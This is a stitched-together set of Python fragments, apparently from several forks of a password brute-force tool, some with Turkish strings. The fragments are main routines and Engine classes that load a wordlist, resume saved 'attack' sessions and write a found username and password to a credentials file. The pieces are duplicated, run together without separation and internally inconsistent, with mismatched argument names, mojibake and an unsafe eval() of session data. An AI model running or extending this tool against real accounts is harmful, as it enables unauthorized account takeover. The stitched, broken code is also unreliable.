def main(): username = "******" wordlist = "password_9.txt" threads = "999999" # assign variables engine = Bruter(username.title(), int(threads), wordlist) session = Session(username.title(), wordlist) if session.exists(): if _input('Do you want to resume the attack? [y/n]: ').split()[0][0] == 'y': data = session.read() if data: engine.attempts = int(data['attempts']) engine.passlist.queue = eval(data['queue']) engine.retrieve = True # start attack try: engine.start() except KeyboardInterrupt: engine.user_abort = True finally: if all([engine.spyder.proxy_info, not engine.isFound]): engine.display(engine.pwd) if all([not engine.read, engine.user_abort, not engine.isFound]): print('{}[!] Exiting ...'.format('' if not engine.spyder.proxy_info else '\n')) if all([engine.read, not engine.isFound]): print('\n[*] Password not found') sleep(1.5) engine.stop()
def main(): # assign arugments args = ArgumentParser() args.add_argument('username', help='email or username') args.add_argument('wordlist', help='password list') args.add_argument('threads', help='password per seconds. Any number <= 16') args = args.parse_args() if not exists(args.wordlist): exit('[!] Unable to locate `{}`'.format(args.wordlist)) if not args.threads.isdigit(): exit('[!] Threads must be a number') # assign variables engine = Bruter(args.username.title(), int(args.threads), args.wordlist) session = Session(args.username.title(), args.wordlist) if session.exists(): if _input('Do you want to resume the attack? [y/n]: ').split()[0][0] == 'y': data = session.read() if data: engine.attempts = int(data['attempts']) engine.passlist.queue = eval(data['queue']) engine.retrieve = True # start attack try: engine.start() finally: if not engine.isFound: engine.display(engine.pwd) print('\n[!] Exiting ...') engine.stop()
def main(): # assign arugments args = ArgumentParser() args.add_argument('Username', help='email or username') args.add_argument('wordlist', help='password list') args.add_argument('threads', help='password per seconds. Any number <= 16') args = args.parse_args() if not exists(args.wordlist): exit('[!] Unable to locate WordList `{}`'.format(args.wordlist)) if not args.threads.isdigit(): exit('[!] Threads must be a number') # assign variables engine = Bruter(args.username.title(), int(args.threads), args.wordlist) session = Session(args.username.title(), args.wordlist) if session.exists(): if _input('Do you want to resume the attack? [y/n]: ').split( )[0][0] == 'y': data = session.read() if data: engine.attempts = int(data['attempts']) engine.passlist.queue = eval(data['queue']) engine.retrieve = True # start attack try: engine.start() except KeyboardInterrupt: engine.user_abort = True finally: if all([engine.spyder.proxy_info, not engine.isFound]): engine.display(engine.pwd) if all([not engine.read, engine.user_abort, not engine.isFound]): print('{}[!] Exiting ...'.format( '' if not engine.spyder.proxy_info else '\n')) if all([engine.read, not engine.isFound]): print('\n[*] Password not found') sleep(1.5) engine.stop()
def main(): # assign arugments args = ArgumentParser() args.add_argument('kullanýcý adý', help='email VEYA kullanýcý adý') args.add_argument('wordlist', help='þifre listesi') args.add_argument('denenenler', help='saniye baþýna þifre. Herhangi bir numara <= 16') args = args.parse_args() if not exists(args.wordlist): exit('[!] Bulunamadý `{}`'.format(args.wordlist)) if not args.threads.isdigit(): exit('[!]Konular bir sayý olmalýdýr ') # assign variables engine = Bruter(args.username.title(), int(args.threads), args.wordlist) session = Session(args.username.title(), args.wordlist) if session.exists(): if _input( 'attack ý baþlatmak istermisin? [y/n]: ').split()[0][0] == 'y': data = session.read() if data: engine.attempts = int(data['attempts']) engine.passlist.queue = eval(data['queue']) engine.retrieve = True # start attack try: engine.start() except KeyboardInterrupt: engine.user_abort = True finally: if all([engine.spyder.proxy_info, not engine.isFound]): engine.display(engine.pwd) if all([not engine.read, engine.user_abort, not engine.isFound]): print('{}[!] çýkýlýyor ...'.format( '' if not engine.spyder.proxy_info else '\n')) if all([engine.read, not engine.isFound]): print('\n[*] þifre bulunamadý') sleep(1.5) engine.stop()
def main(): arugments = args() mode = arugments.mode username = arugments.username wordlist = arugments.wordlist modes = {0: 128, 1: 64, 2: 32, 3: 16} if not exists(wordlist): exit('[!] Invalid path to wordlist') session = Session(username.title(), wordlist) engine = Bruter(username.title(), modes[mode], wordlist) if session.exists: if _input('Do you want to resume the attack? [y/n]: ').split( )[0][0] == 'y': data = session.read() if data: engine.attempts = int(data['attempts']) engine.passlist.queue = eval(data['queue']) engine.retrieve = True # start attack try: engine.start() except KeyboardInterrupt: engine.user_abort = True engine.stop() finally: if all([engine.spyder.proxy_info, not engine.isFound]): engine.display(engine.pwd) if all([not engine.read, engine.user_abort, not engine.isFound]): print('{}[!] Exiting ...'.format( '' if not engine.spyder.proxy_info else '\n')) if all([engine.read, not engine.isFound]): print('\n[*] Password not found') try: sleep(1.5) except: pass engine.stop()
class Engine(object): def __init__(self, username, threads, passlist_path, is_color): self.bruter = None self.resume = False self.is_alive = True self.threads = threads self.username = username self.passlist_path = passlist_path self.display = Display(is_color=is_color) self.session = Session(username, passlist_path) def passlist_path_exists(self): if not exists(self.passlist_path): self.display.warning('Invalid path to password list') return False return True def session_exists(self): return self.session.exists def create_bruter(self): self.bruter = Bruter(self.username, self.threads, self.passlist_path, self.resume) def get_user_resp(self): return self.display.prompt('Would you like to resume the attack? [y/n]: ') def write_to_file(self, password): with open(credentials, 'at') as f: data = 'Username: {}\nPassword: {}\n\n'.format(self.username.title(), password) f.write(data) def start(self): if not self.passlist_path_exists(): self.is_alive = False if self.session_exists() and self.is_alive: resp = None try: resp = self.get_user_resp() except: self.is_alive = False if resp and self.is_alive: if resp.strip().lower() == 'y': self.resume = True if self.is_alive: self.create_bruter() try: self.bruter.start() except KeyboardInterrupt: self.bruter.stop() self.bruter.display.shutdown(self.bruter.last_password, self.bruter.password_manager.attempts, len(self.bruter.browsers)) finally: self.stop() def stop(self): if self.is_alive: self.bruter.stop() self.is_alive = False if self.bruter.password_manager.is_read and not self.bruter.is_found and not self.bruter.password_manager.list_size: self.bruter.display.stats_not_found(self.bruter.last_password, self.bruter.password_manager.attempts, len(self.bruter.browsers)) if self.bruter.is_found: self.write_to_file(self.bruter.password) self.bruter.display.stats_found(self.bruter.password, self.bruter.password_manager.attempts, len(self.bruter.browsers))
class Engine(object): def __init__(self, username, threads, passlist_path, is_color): self.resume = False self.is_alive = True self.threads = threads self.username = username self.passlist_path = passlist_path self.display = Display(is_color=is_color) self.bruter = Bruter(username, threads, passlist_path) def get_user_resp(self): return self.display.prompt( "Would you like to resume the attack? [y/N]: ") def write_to_file(self, password): with open(credentials, "at") as f: data = "Username: {}\nPassword: {}\n\n".format( self.username.title(), password) f.write(data) def start(self): while self.is_alive and not self.bruter.password_manager.session: pass if not self.is_alive: return if self.bruter.password_manager.session.exists: try: resp = self.get_user_resp() except: self.is_alive = False if resp and self.is_alive: if resp.strip().lower() == "y": self.bruter.password_manager.resume = True try: self.bruter.start() except KeyboardInterrupt: self.bruter.stop() self.bruter.display.shutdown( self.bruter.last_password, self.bruter.password_manager.attempts, len(self.bruter.browsers), ) finally: self.stop() def stop(self): if self.is_alive: self.bruter.stop() self.is_alive = False if (self.bruter.password_manager.is_read and not self.bruter.is_found and not self.bruter.password_manager.list_size): self.bruter.display.stats_not_found( self.bruter.last_password, self.bruter.password_manager.attempts, len(self.bruter.browsers), ) if self.bruter.is_found: self.write_to_file(self.bruter.password) self.bruter.display.stats_found( self.bruter.password, self.bruter.password_manager.attempts, len(self.bruter.browsers), )
data = session.read() if data: engine.attempts = int(data['attempts']) engine.passlist.queue = eval(data['queue']) engine.retrieve = True # start attack try: engine.start() except KeyboardInterrupt: engine.user_abort = True finally: if all([engine.spyder.proxy_info, not engine.isFound]): engine.display(engine.pwd) if all([not engine.read, engine.user_abort, not engine.isFound]): print('{}[!] Exiting ...'.format('' if not engine.spyder.proxy_info else '\n'))
class Engine(object): def __init__(self, username, threads, passlist_path, is_color): self.bruter = None self.resume = False self.is_alive = True self.threads = threads self.username = username self.passlist_path = passlist_path self.display = Display(is_color=is_color) def passlist_path_exists(self): if not exists(self.passlist_path): self.display.warning('Boyle bir dosya yok.') return False return True def create_bruter(self): self.bruter = Bruter( self.username, self.threads, self.passlist_path ) def get_user_resp(self): return self.display.prompt('Islemi devam ettirmek iste misin? [y/n]: ') def write_to_file(self, password): with open(credentials, 'at') as f: data = 'Kullanici Adi: {}\nSifre: {}\n\n'.format( self.username.title(), password) f.write(data) def start(self): if not self.passlist_path_exists(): self.is_alive = False if self.is_alive: self.create_bruter() while self.is_alive and not self.bruter.password_manager.session: pass if not self.is_alive: return if self.bruter.password_manager.session.exists: try: resp = self.get_user_resp() except: self.is_alive = False if resp and self.is_alive: if resp.strip().lower() == 'y': self.bruter.password_manager.resume = True try: self.bruter.start() except KeyboardInterrupt: self.bruter.stop() self.bruter.display.shutdown(self.bruter.last_password, self.bruter.password_manager.attempts, len(self.bruter.browsers)) finally: self.stop() def stop(self): if self.is_alive: self.bruter.stop() self.is_alive = False if self.bruter.password_manager.is_read and not self.bruter.is_found and not self.bruter.password_manager.list_size: self.bruter.display.stats_not_found(self.bruter.last_password, self.bruter.password_manager.attempts, len(self.bruter.browsers)) if self.bruter.is_found: self.write_to_file(self.bruter.password) self.bruter.display.stats_found(self.bruter.password, self.bruter.password_manager.attempts, len(self.bruter.browsers))